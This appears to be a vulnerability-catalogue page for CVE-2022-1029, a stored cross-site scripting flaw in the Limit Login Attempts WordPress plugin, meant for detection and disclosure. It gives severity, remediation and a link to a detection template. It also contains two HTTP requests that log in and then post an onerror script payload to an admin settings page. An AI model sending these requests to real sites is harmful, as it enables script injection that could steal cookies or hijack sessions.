🔙 목록으로 돌아가기

CVE-2022-1029: Limit Login Attempts - Stored Cross-Site Scripting

TitleLimit Login Attempts - Stored Cross-Site Scripting
Authortheamanrawat
SeverityMedium
ImpactAttackers with administrator privileges can execute malicious Javascript in the context of the site, potentially stealing cookies or hijacking user sessions.
RemediationUpdate to version 4.0.72 or later.
CVSS Score4.8
EPSS Score0.00197
CVE IDCVE-2022-1029
CWE IDCWE-79
Tags cve cve2022 wordpress wp wp-plugin miniorange-limit-login-attempts xss authenticated

🔍 Vulnerability Description

Limit Login Attempts WordPress plugin < 4.0.72 contains a stored cross-site scripting caused by unsanitized and unescaped settings, letting malicious administrators inject Javascript code, exploit requires administrator privileges.

🌐 HTTP Request

POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Fedora; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Connection: close
Content-Length: 38
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

log=tEjTAh&pwd=QXGpj7&wp-submit=Log+In
POST /wp-admin/admin.php?page=advancedblocking HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0
Connection: close
Content-Length: 101
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

option=mo_wpns_block_referrer&referrer_1=%22%3E%3Cimg+src%3Dx+onerror%3Dalert%28document.domain%29%3E

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-1029.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-1029.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A